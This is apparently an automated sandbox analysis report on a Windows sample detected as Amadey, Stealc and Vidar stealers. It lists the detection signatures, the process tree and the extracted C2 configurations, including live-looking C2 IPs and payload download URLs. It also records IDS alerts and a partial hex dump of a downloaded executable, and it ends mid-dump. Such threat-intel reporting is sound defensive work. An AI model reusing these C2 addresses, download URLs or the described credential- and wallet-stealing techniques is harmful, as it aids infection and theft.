Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1564259
MD5:	155dd690d3f9997589275dc903c55840
SHA1:	3dca4c0622f26390204492c36878e2d2fd479c52
SHA256:	7b797970686d9cd17a4b68e13669f1094a75f06105840d3d3557b3e4b5372abf
Tags:	exeuser-Bitsight
Infos:

Detection

Amadey, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for domain / URL

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Drops PE files to the document folder of the user

Drops PE files to the user root directory

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

Maps a DLL or memory area into another process

Monitors registry run keys for changes

PE file contains section with special chars

Potentially malicious time measurement code found

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the user directory

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

PE file does not import any functions

PE file overlay found

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Browser Started with Remote Debugging

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 1612 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 155DD690D3F9997589275DC903C55840)

chrome.exe (PID: 736 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 7328 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2864 --field-trial-handle=2212,i,4910576308310943370,12725647148356537901,262144 /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

msedge.exe (PID: 3320 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 2728 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2412 --field-trial-handle=2356,i,13430815321648754466,13547412058668331737,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

cmd.exe (PID: 5896 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsKJEGDBKFIJ.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7976 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

DocumentsKJEGDBKFIJ.exe (PID: 8560 cmdline: "C:\Users\user\DocumentsKJEGDBKFIJ.exe" MD5: 27497D872004D9B173CA70DE453A9023)

skotes.exe (PID: 8760 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 27497D872004D9B173CA70DE453A9023)

msedge.exe (PID: 5064 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 7632 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2672 --field-trial-handle=1700,i,16972167915651819867,13152536030924255002,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 8352 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6576 --field-trial-handle=1700,i,16972167915651819867,13152536030924255002,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 8364 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6608 --field-trial-handle=1700,i,16972167915651819867,13152536030924255002,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

identity_helper.exe (PID: 8460 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7076 --field-trial-handle=1700,i,16972167915651819867,13152536030924255002,262144 /prefetch:8 MD5: F8CEC3E43A6305AC9BA3700131594306)

identity_helper.exe (PID: 8472 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7076 --field-trial-handle=1700,i,16972167915651819867,13152536030924255002,262144 /prefetch:8 MD5: F8CEC3E43A6305AC9BA3700131594306)

msedge.exe (PID: 6528 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6608 --field-trial-handle=1700,i,16972167915651819867,13152536030924255002,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

skotes.exe (PID: 8796 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 27497D872004D9B173CA70DE453A9023)

skotes.exe (PID: 6860 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 27497D872004D9B173CA70DE453A9023)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000001B.00000003.2710341590.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001C.00000003.2709877046.0000000004F80000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001B.00000002.2751064570.0000000000C51000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000001.00000002.2730382945.00000000010AC000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000002.2730002309.00000000009EE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001A.00000003.2682054922.0000000004B40000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001F.00000002.3412884936.0000000000C51000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000001.00000003.2173576711.0000000004DE0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001C.00000002.2750565197.0000000000C51000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001F.00000003.3286958404.0000000004B10000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001A.00000002.2723063317.0000000000F51000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000001.00000002.2730382945.0000000000FE1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 1612	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 1612	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 1612	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 1612	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 11 entries

Unpacked PEs

Source	Rule	Description	Author
28.2.skotes.exe.c50000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
26.2.DocumentsKJEGDBKFIJ.exe.f50000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
31.2.skotes.exe.c50000.1.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
27.2.skotes.exe.c50000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 1612, ParentProcessName: file.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 736, ProcessName: chrome.exe

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-28T02:27:15.990592+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.6	49723	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-28T02:27:15.860087+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.6	49723	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-28T02:27:16.309902+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.6	49723	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-28T02:27:17.840241+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.6	49723	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-28T02:27:16.437166+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.6	49723	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-28T02:27:15.415152+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	49723	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-28T02:29:06.124453+0100	2856147	1	A Network Trojan was detected	192.168.2.6	50046	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-28T02:27:04.444470+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.6	50047	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-28T02:29:10.738771+0100	2803305	3	Unknown Traffic	192.168.2.6	50048	31.41.244.11	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-28T02:27:18.692110+0100	2803304	3	Unknown Traffic	192.168.2.6	49723	185.215.113.206	80	TCP
2024-11-28T02:27:41.421944+0100	2803304	3	Unknown Traffic	192.168.2.6	49823	185.215.113.206	80	TCP
2024-11-28T02:27:43.417408+0100	2803304	3	Unknown Traffic	192.168.2.6	49823	185.215.113.206	80	TCP
2024-11-28T02:27:44.890250+0100	2803304	3	Unknown Traffic	192.168.2.6	49823	185.215.113.206	80	TCP
2024-11-28T02:27:46.217505+0100	2803304	3	Unknown Traffic	192.168.2.6	49823	185.215.113.206	80	TCP
2024-11-28T02:27:49.939991+0100	2803304	3	Unknown Traffic	192.168.2.6	49823	185.215.113.206	80	TCP
2024-11-28T02:27:51.229925+0100	2803304	3	Unknown Traffic	192.168.2.6	49823	185.215.113.206	80	TCP
2024-11-28T02:27:56.983820+0100	2803304	3	Unknown Traffic	192.168.2.6	49942	185.215.113.16	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.206/68b591d6548ec281/msvcp140.dlll	Avira URL Cloud: Label: malware
Source: http://31.41.244.11/files/unique1/random.exe	Avira URL Cloud: Label: malware

Found malware configuration

Source: 0000001B.00000003.2710341590.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: file.exe.1612.1.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Multi AV Scanner detection for domain / URL

Source: http://185.215.113.206/68b591d6548ec281/msvcp140.dlll	Virustotal: Detection: 18%			Perma Link
Source: http://31.41.244.11/files/unique1/random.exe7	Virustotal: Detection: 16%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_6C966C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,

1_2_6C966C80

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 20.231.128.67:443 -> 192.168.2.6:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.231.128.67:443 -> 192.168.2.6:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.223.35.26:443 -> 192.168.2.6:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.223.35.26:443 -> 192.168.2.6:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.223.35.26:443 -> 192.168.2.6:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.6:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.223.35.26:443 -> 192.168.2.6:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.30.17.174:443 -> 192.168.2.6:49780 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.6:49779 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.30.17.174:443 -> 192.168.2.6:49789 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.6:49790 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.58.43:443 -> 192.168.2.6:49900 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.28.10:443 -> 192.168.2.6:49905 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.6:49986 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.6:49996 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.6:50023 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.6:50041 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr
Source:	Binary string: freebl3.pdb source: freebl3.dll.1.dr, freebl3[1].dll.1.dr
Source:	Binary string: freebl3.pdbp source: freebl3.dll.1.dr, freebl3[1].dll.1.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000001.00000002.2758158469.000000006CB8F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.1.dr, softokn3.dll.1.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140[1].dll.1.dr, vcruntime140.dll.1.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140.dll.1.dr, msvcp140[1].dll.1.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000001.00000002.2758158469.000000006CB8F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.1.dr, softokn3.dll.1.dr

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:49723 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.6:49723 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.6:49723
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.6:49723 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.6:49723
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.6:49723 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.6:50046 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.6:50047

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: 185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 28 Nov 2024 01:27:18 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 